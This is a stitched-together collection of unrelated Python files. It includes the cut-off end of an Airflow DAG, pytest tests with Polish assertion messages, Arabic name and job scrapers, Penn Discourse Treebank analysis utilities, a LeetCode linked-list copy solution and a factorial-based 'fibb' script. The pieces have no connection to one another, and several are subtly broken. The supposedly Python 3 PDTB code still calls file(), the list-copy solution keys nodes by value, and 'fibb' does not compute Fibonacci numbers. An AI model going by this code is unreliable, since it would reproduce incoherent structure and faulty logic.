            wait_for_step_to_complete >> terminate_emr_cluster >> end_data_pipeline
        else:
            wait_for_step_to_complete >> end_data_pipeline

    return dag


import pytest
import main
import pickle
import math
import numpy as np

expected = pickle.load(open('expected','rb'))

results_cylinder_area = expected['cylinder_area']
results_fib = expected['fib']
results_matrix_calculations = expected['matrix_calculations']
results_custom_matrix = expected['custom_matrix']

@pytest.mark.parametrize("r,h,result", results_cylinder_area)
def test_cylinder_area(r:float,h:float,result):
    if math.isnan(result):
        assert math.isnan(main.cylinder_area(r,h)), 'Spodziewany wynik: {0}, aktualny {1}. Błedy wejścia.'.format(result, main.cylinder_area(r,h))
    else:
        assert main.cylinder_area(r,h) == pytest.approx(result), 'Spodziewany wynik: {0}, aktualny {1}. Błędy implementacji.'.format(result, main.cylinder_area(r,h))

@pytest.mark.parametrize("n,result", results_fib)
def test_fib(n:int,result):
    if result is None:
        assert main.fib(n) is None, 'Spodziewany wynik: {0}, aktualny {1}. Błedy wejścia.'.format(result, main.fib(n))
    else:
        assert main.fib(n) == pytest.approx(result), 'Spodziewany wynik: {0}, aktualny {1}. Błędy implementacji.'.format(result, main.fib(n))

@pytest.mark.parametrize("a,result", results_matrix_calculations)
def test_matrix_calculations(a:float,result):
    test_result = main.matrix_calculations(a)
    if not isinstance(result[0], np.ndarray):
        assert math.isnan(test_result[0]) and test_result[1] == pytest.approx(result[1]) and test_result[2] == pytest.approx(result[2])
    else:
        assert test_result[0] == pytest.approx(result[0]) and test_result[1] == pytest.approx(result[1]) and test_result[2] == pytest.approx(result[2])

@pytest.mark.parametrize("m,n,result", results_custom_matrix)
def test_custom_matrix(m:int, n:int,result):
        if result is None:
            assert main.custom_matrix(m,n) is None, 'Spodziewany wynik: {0}, aktualny {1}. Błedy wejścia.'.format(result, main.custom_matrix(m,n))
        else:
            assert main.custom_matrix(m,n) == pytest.approx(result), 'Spodziewany wynik: {0}, aktualny {1}. Błędy implementacji.'.format(result, main.custom_matrix(m,n))


##################################################### SCRAPPING FIRST NAME #############################################
def scrapping_first_name_ara():
    import requests
    from bs4 import BeautifulSoup
    import csv
    from itertools import zip_longest

    resultMan=requests.get("https://rqeeqa.com/baby-names/%D8%A7%D8%B3%D9%85%D8%A7%D8%A1-%D8%A7%D9%88%D9%84%D8%A7%D8%AF.html")
    resultGirl= requests.get("https://rqeeqa.com/baby-names/girl-names.html")
    src1=resultMan.content
    src2 = resultGirl.content
    soup1=BeautifulSoup(src1,"lxml")
    soup2 = BeautifulSoup(src2, "lxml")
    names=soup1.find_all("span",{"style":"color: #f30977;"})
    names+=soup1.find_all("span",{"style":"color: #ff00ff;"})
    names+=soup1.find_all("span",{"style":"color:#3366ff;"})
    names += soup2.find_all("span", {"style": "color: #e00d69;"})
    names_save=[]
    for i in range(len(names)):
        names_save.append(names[i].text)
    for i in range(len(names_save)):
        names_save[i]=names_save[i].replace(":","").strip()
    names_save.remove('علا')
    file_list=[names_save]
    exported=zip_longest(*file_list)
    with open("first_name.csv", "w", encoding="utf-8") as file:
        wr=csv.writer(file)
        wr.writerow(["الإسم"])
        wr.writerows(exported)
############################## SCRAPPING LAST NAME #####################################################################
def scrapping_last_name_ara():
    import csv
    from itertools import zip_longest
    lakab = ['الغربي', 'الهمامي', 'الشريف', 'الدريدي', 'العياري', 'الطرابلسي', 'حمدي', 'محمد', 'الماجري', 'العبيدي',
             'السعيدي', 'العيادي', 'الرياحي', 'عمار', 'التركي', 'التومي', 'السلامي', 'الفريڨي', 'الجلاصي', 'كمون',
             'الوسلاتي', 'بن عامر', 'العرفاوي', 'ساسي', 'الشابي', 'العمري', 'بن عبدالله', 'أحمد', 'العلوي', 'السويسي',
             'بن سالم', 'بن صالح', 'المصمودي', 'منصور', 'قلال', 'عبدالله', 'حمزة', 'حداد', 'الرقيق', 'عياد', 'الصغير',
             'قاسم', 'منصوري', 'الجبالي', 'الساحلي', 'خليل', 'شعبان', 'الڨاسمي', 'لسود', 'بلحاج', 'بن حسين',
             'عبيد', 'بن علي', 'حسان', 'البحري', 'النصري', 'التريكي', 'العبيدي', 'السالمي', 'الزواري', 'التليلي',
             'التونسي', 'البجاوي', 'الجويني', 'سالم', 'الفرشيشي', 'بلحاج', 'بن عمار', 'القروي', 'اليحياوي', 'فرحات',
             'رزڨي', 'الحاج', 'الحمروني', 'أمين', 'ماهر', 'التواتي', 'الفوراتي', 'أيمن', 'عامر', 'حسين', 'المناعي',
             'عمارة',
             'بوبكر', 'العوني', 'شقرون', 'الكوكي', 'حسني', 'بن يوسف', 'غربال', 'بن أحمد ', 'المسعودي', 'الجريبي',
             'الجربي', 'البوعزيزي', 'بن رمضان', 'بن سعيد', 'اللواتي', 'الخميري', 'الحاجي', 'عباس', 'الصالحي', 'عاشور',
             'فرجاني', 'سلامة', 'محجوب', 'بن عياد', 'الميساوي', 'البوزيدي', 'سعيد', 'الحناشي', 'مرابط', 'بلڨاسم',
             'حسين', 'الزريبي', 'داود',
             'حبيب', 'المدب', 'كمون', 'الذوادي', 'الفقيه', 'عاطية', 'بسباس', 'البرهومي', 'بن منصور', 'النوري',
             'المحمدي', 'صالح', 'الفخفاخ', 'الشعري', 'الحاج', 'الزواوي', 'الصيد', 'الشرفي', 'يوسف', 'سليم', 'مالك',
             'الشارني', 'السلطاني', 'شاوش', 'صابر', 'مراد', 'الكافي', 'البكوش', 'مبارك', 'بن إبراهيم', 'الخليفي',
             'الرباعي', 'الربعي', 'اللومي', 'حمودة',
             'الخفيفي', 'العياشي', 'زروق', 'دمق', 'موسى', 'المهيري', 'رمضان', 'حشيشة', 'الحجري', 'فريخة', 'بوراوي',
             'ثابت', 'الورتاني', 'معالى', 'خالد', 'خليفة', 'ناجي', 'الخياري', 'المزوغي', 'المولهي', 'الجوادي',
             'الڨاسمي', 'البراهمي', 'بن عمارة', 'شعيب', 'البكلوطي', 'الجلاصي', 'الجماعي', 'دربال', 'مقني', 'اللوز',
             'الجندوبي',
             'الزيتوني', 'بن محمد', 'السنوسي', 'الڨابسي', 'السعداوي', 'بوخريص', 'البوزيدي', 'النفزي', 'الجزيري', 'وليد',
             'ذويب', 'العباسي', 'الخراط', 'سيالة']
    file_list = [lakab]
    exported = zip_longest(*file_list)
    with open("last_name.csv", "w", encoding="utf-8") as file:
        wr = csv.writer(file)
        wr.writerow(["اللقب"])
        wr.writerows(exported)

##################################### SCRAPPING JOB NAME ###############################################################

def scrapping_jobs_ara():
    import requests
    from bs4 import BeautifulSoup
    import csv
    from itertools import zip_longest
    resultJob = requests.get("https://www.apprendrelefrancais1.com/2020/11/les-metiers.html")
    resultJob1 = requests.get("https://www.kaaed.com/2015/07/ci-cu.html")
    src3 = resultJob.content
    src4= resultJob1.content
    soup3 = BeautifulSoup(src3, "lxml")
    soup4 = BeautifulSoup(src4, "lxml")
    travail = soup3.find_all("b")
    travail2 = soup4.find_all("td")
    t = travail[7:-5]
    t2 = travail2[2:]

    word = []
    for st in t:
        w = st.text
        if '-' in w:
            ind = w.index('-')
            word.append(w[:ind - 1])
    for i in range(len(t2)):
        if i % 2 == 0:
            w2 = t2[i].text
            word.append(w2)
    for i in range(len(word)):
        word[i] = word[i].replace("/", "").strip()
        word[i] = word[i].replace(")", "")

    file_list = [word]
    exported = zip_longest(*file_list)
    with open("job_name.csv", "w", encoding="utf-8") as file:
        wr = csv.writer(file)
        wr.writerow(["المهنة"])
        wr.writerows(exported)

######################################## COMPILATION TO CREATE FILES DATA ##############################################

scrapping_first_name_ara()
scrapping_last_name_ara()
scrapping_jobs_ara()


#!/usr/bin/env python

"""
Miscellaneous functions for exploring the Penn Discourse Treebank via
the classes in pdtb.py
"""

__author__ = "Christopher Potts"
__copyright__ = "Copyright 2011, Christopher Potts"
__credits__ = []
__license__ = "Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License: http://creativecommons.org/licenses/by-nc-sa/3.0/"
__version__ = "1.0"
__maintainer__ = "Christopher Potts"
__email__ = "See the author's website"

# converted to Python 3 by Tatjana Scheffler, 2019

######################################################################

import re
import csv
import pickle
import numpy
from random import shuffle
from collections import defaultdict
from operator import itemgetter
from pdtb import CorpusReader, Datum

######################################################################

def relation_count():
    """Calculate and display the distribution of relations."""
    pdtb = CorpusReader('pdtb2.csv')
    # Create a count dictionary of relations:
    d = defaultdict(int)
    for datum in pdtb.iter_data():
        d[datum.Relation] += 1
    # Print the results to standard output:
    for key, val in d.items():
        print(key, val)

######################################################################

def count_semantic_classes():
    """Count ConnHeadSemClass1 values."""
    pdtb = CorpusReader('pdtb2.csv')
    d = defaultdict(int)
    for datum in pdtb.iter_data():
        sc = datum.ConnHeadSemClass1
        # Filter None values (should be just EntRel/NonRel data):
        if sc:
            d[sc] += 1
    return d

def count_semantic_classes_to_csv(output_filename):
    """Write the results of  count_semantic_classes() to a CSV file."""
    # Create the CSV writer:
    csvwriter = csv.writer(file(output_filename, 'w'))
    # Add the header row:
    csvwriter.writerow(['ConnHeadSemClass1', 'Count'])
    # Get the counts:
    d = count_semantic_classes()
    # Sort by name so that we can perhaps see trends in the
    # super-categories:
    for sem, count in sorted(d.items()):
        csvwriter.writerow([sem, count])

# count_semantic_classes_to_csv('ConnHeadSemClass1.csv')

######################################################################

def connective_distribution():
    """Counts of connectives by relation type."""
    pdtb = CorpusReader('pdtb2.csv')
    d = defaultdict(lambda : defaultdict(int))
    for datum in pdtb.iter_data():
        cs = datum.conn_str(distinguish_implicit=False)
        # Filter None values (should be just EntRel/NoRel data):
        if cs:
            # Downcase for further collapsing, and add 1:
            d[datum.Relation][cs.lower()] += 1
    return d

def connective_distribution2wordle(d):
    """
    Map the dictionary returned by connective_distribution() to a
    Wordle format. The return value is a string. Its sublists it
    returned can be pasted in at http://www.wordle.net/advanced.
    """
    s = ''
    # Print lists of words with the relation type as the header:
    for rel, counts in list(d.items()):
        s += '======================================================================\n'
        s += rel + '\n'
        s += '======================================================================\n'
        # Map the counts dict to a list of pairs via items() and sort on
        # the second member (index 1) of those pairs, largest to smallest:
        sorted_counts = sorted(list(counts.items()), key=itemgetter(1), reverse=True)
        # Print the result in Wordle format:
        for conn, c in sorted_counts:
            # Spacing is hard to interpret in Wordle. This should help:
            conn = conn.replace(' ', '_')
            # Append to the growing string:
            s += '%s:%s\n' % (conn, c)
    return s

######################################################################

def attribution_counts():
    """Create a count dictionary of non-null attribution values."""
    pdtb = CorpusReader('pdtb2.csv')
    d = defaultdict(int)
    for datum in pdtb.iter_data():
        src = datum.Attribution_Source
        if src:
            d[src] += 1
    return d

def print_attribution_texts():
    """Inspect the strings characterizing attribution values."""
    pdtb = CorpusReader('pdtb2.csv')
    for datum in pdtb.iter_data(display_progress=False):
        txt = datum.Attribution_RawText
        if txt:
            print(txt)

######################################################################

def adjacency_check(datum):
    """Return True if datum is of the form Arg1 (connective) Arg2, else False"""
    if not datum.arg1_precedes_arg2():
        return False
    arg1_finish = max([x for span in datum.Arg1_SpanList for x in span])
    arg2_start = min([x for span in datum.Arg2_SpanList for x in span])
    if datum.Relation == 'Implicit':
        if (arg2_start - arg1_finish) <= 3:
            return True
        else:
            return False
    else:
        conn_indices = [x for span in datum.Connective_SpanList for x in span]
        conn_start = min(conn_indices)
        conn_finish = max(conn_indices)
        if (conn_start - arg1_finish) <= 3 and (arg2_start - conn_finish) <= 3:
            return True
        else:
            return False

def connective_initial(sem_re, output_filename):
    """
    Pull out examples of Explicit or Implicit relations in which

    (i) Arg1 immediately precedes Arg2, with only the connective intervening in the case of Explicit.
    (ii) There is no supplementary text on either argument.
    (iii) ConnHeadSemClass1 matches the user-supplied regex sem_re

    The results go into a CSV file named output_filename.
    """
    keepers = {} # Stores the items that pass muster.
    pdtb = CorpusReader('pdtb2.csv')
    for datum in pdtb.iter_data(display_progress=False):
        # Restrict to examples that are either Implicit or Explicit and have no supplementary text:
        rel = datum.Relation
        if rel in ('Implicit', 'Explicit') and not datum.Sup1_RawText and not datum.Sup2_RawText:
            # Further restrict to the class of semantic relations captured by sem_re:
            if sem_re.search(datum.ConnHeadSemClass1):
                # Make sure that Arg1, the connective, and Arg2 are all adjacent:
                if adjacency_check(datum):
                    # Stick to simple connectives: for Explicit, the connective and its head are the same;
                    # for Implicit, there is no secondary connective.
                    if (rel == 'Explicit' and datum.ConnHead == datum.Connective_RawText) or \
                       (rel == 'Implicit' and not datum.Conn2):
                        itemId = "%s/%s" % (datum.Section, datum.FileNumber)
                        print(itemId)
                        conn = datum.conn_str(distinguish_implicit=False) # We needn't flag them, since column 2 does that.
                        # Store in a dict with file number keys to avoid taking two sentences from the same file:
                        keepers[itemId] = [itemId, rel, datum.ConnHeadSemClass1, datum.Arg1_RawText, conn, datum.Arg2_RawText]
    # Store the results in a CSV file:
    csvwriter = csv.writer(file(output_filename, 'w'))
    csvwriter.writerow(['ItemId', 'Relation', 'ConnHeadSemClass1', 'Arg1', 'Connective', 'Arg2'])
    csvwriter.writerows(list(keepers.values()))
    print("CSV created.")

# connective_initial(re.compile(r'Expansion'), 'pdtb-continuation-data-expansion.csv')

######################################################################

def semantic_classes_in_implicit_relations():
    """Count the primary semantic classes for connectives limted to Implicit relations."""
    d = defaultdict(int)
    pdtb = CorpusReader('pdtb2.csv')
    for datum in pdtb.iter_data(display_progress=True):
        if datum.Relation == 'Implicit':
            d[datum.primary_semclass1()] += 1
    # Print, sorted by values, largest first:
    for key, val in sorted(list(d.items()), key=itemgetter(1), reverse=True):
        print(key, val)

# semantic_classes_in_implicit_relations()

######################################################################

def word_pair_frequencies(output_filename):
    """
    Gather count data on word pairs where the first word is drawn from
    Arg1 and the second from Arg2. The results are storied in the
    pickle file output_filename.
    """
    d = defaultdict(int)
    pdtb = CorpusReader('pdtb2.csv')
    for datum in pdtb.iter_data(display_progress=True):
        if datum.Relation == 'Implicit':
            # Gather the word-pair features for inclusion in d.
            # See the Datum methods arg1_words() and arg2_words.
            pass

    # Finally, pickle the results.
    pickle.dump(d, file(output_filename, 'w'))

######################################################################

def random_Implicit_subset(sample_size=30):
    """
    Creates a CSV file containing randomly selected Implicit examples
    from each of the primary semantic classes. sample_size determines
    the size of the sample from each class (default: 30). The output
    is a file called pdtb-random-Implicit-subset.csv with columns named for
    the attributes/methods that determined the values.
    """
    csvwriter = csv.writer(open('pdtb-random-Implicit-subset.csv', 'w'))
    csvwriter.writerow(['Arg1_RawText', 'conn_str', 'Arg2_RawText', 'primary_semclass1'])
    d = defaultdict(list)
    pdtb = CorpusReader('pdtb2.csv')
    for datum in pdtb.iter_data(display_progress=True):
        if datum.Relation == 'Implicit' and not datum.Sup1_RawText and not datum.Sup2_RawText:
            d[datum.primary_semclass1()].append(datum)
    sample_size = 30
    for cls, data, in list(d.items()):
        shuffle(data)
        for datum in data[: sample_size]:
            row = [datum.Arg1_RawText, datum.conn_str(), datum.Arg2_RawText, cls]
            csvwriter.writerow(row)

######################################################################

def distribution_of_relative_arg_order():
    d = defaultdict(int)
    pdtb = CorpusReader('pdtb2.csv')
    for datum in pdtb.iter_data(display_progress=True):
        d[datum.relative_arg_order()] += 1
    for order, count in sorted(list(d.items()), key=itemgetter(1), reverse=True):
        print(order, count)

######################################################################

def contingencies(row_function, column_function):
    """
    Calculates observed/expected values for the count matrix
    determined by row_function and column_function, both of which
    should be functions from Datum instances into values.  Output
    values of None are ignored and can thus be used as a filter.
    """
    d = defaultdict(int)
    pdtb = CorpusReader('pdtb2.csv')
    for datum in pdtb.iter_data(display_progress=True):
        row_val = row_function(datum)
        col_val = column_function(datum)
        if row_val and col_val:
            d[(row_val, col_val)] += 1
    # Convert to matrix format:
    row_classes = sorted(set([x[0] for x in list(d.keys())]))
    col_classes = sorted(set([x[1] for x in list(d.keys())]))
    observed = numpy.zeros((len(row_classes), len(col_classes)))
    for i, row in enumerate(row_classes):
        for j, col in enumerate(col_classes):
            observed[i, j] = d[(row, col)]
    # Get expectations:
    expected = numpy.zeros((len(row_classes), len(col_classes)))
    for i in range(len(row_classes)):
        for j in range(len(col_classes)):
            expected[i, j] = (numpy.sum(observed[i, : ]) * numpy.sum(observed[ :, j])) / numpy.sum(observed)
    # Rank by O/E:
    oe = {}
    for i, row in enumerate(row_classes):
        for j, col in enumerate(col_classes):
            oe[(row, col)] = observed[i, j] / expected[i, j]
    # Printing:
    print("======================================================================")
    print("Observed")
    print_matrix(observed, row_classes, col_classes)
    print("--------------------------------------------------")
    print("Expected")
    print_matrix(expected, row_classes, col_classes)
    print("--------------------------------------------------")
    print("O/E")
    for row, col in sorted(list(oe.items()), key=itemgetter(1), reverse=True):
        print(row, col)
    print("======================================================================")

def print_matrix(m, rownames, colnames):
    """Pretty-print a 2d numpy array with row and column names."""
    # Max column width:
    col_width = max([len(x) for x in rownames + colnames]) + 4
    # Row-formatter:
    def fmt_row(a):
        return "".join(map((lambda x : str(x).rjust(col_width)), a))
    # Printing:
    print(fmt_row([''] + colnames))
    for i, rowname in enumerate(rownames):
        row = [rowname]
        for j in range(len(colnames)):
            row.append(round(m[i, j], 2))
        print(fmt_row(row))


'''

138. Copy List with Random Pointer
Medium

A linked list is given such that each node contains an additional random pointer which could point to any node in the list or null.

Return a deep copy of the list.

Example 1:

Input:
{"$id":"1","next":{"$id":"2","next":null,"random":{"$ref":"2"},"val":2},"random":{"$ref":"2"},"val":1}

Explanation:
Node 1's value is 1, both of its next and random pointer points to Node 2.
Node 2's value is 2, its next pointer points to null and its random pointer points to itself.

Solution:
The idea is clone all nodes first using DFS. Each time add val and new node to a dictionary. Then get random node by head.random.val
Read the code, very simple but brilliant.

'''

def copyRandomList(self, head):
	return self.helper(head, {})

def helper(self, head, dict):
	"""
	The idea is clone all nodes first using DFS. Each time add val and new node to a dictionary. Then get random node by head.random.val
	"""
	if head:
		# Generate new node and add it to dictionary
		new_head = Node(head.val, None, None)
		dict[head.val] = new_head

		# Process next node
		new_next_node = self.helper(head.next, dict)
		new_head.next = new_next_node

		# Process random node
		random_val = head.random.val if head.random else None
		new_head.random = dict[random_val] if random_val in dict else None

		return new_head

	return None


def factorial(n):
      b=1
      a=n
      while (a >1) :
            b= b * a
            a = a -1
      return(b) ;
def fibb(N,a,b):
	while N-2>=1 :
		a=factorial(a)
		b=factorial(b)
		c=a*b
		N=N-1
		a=b
		b=c
	return c
a=1
b=2
N=int(input("inter an integer:"))
if N==1 :
	X=1
elif N==2 :
	X=2
else :
	X=fibb(N,a,b)
print(X)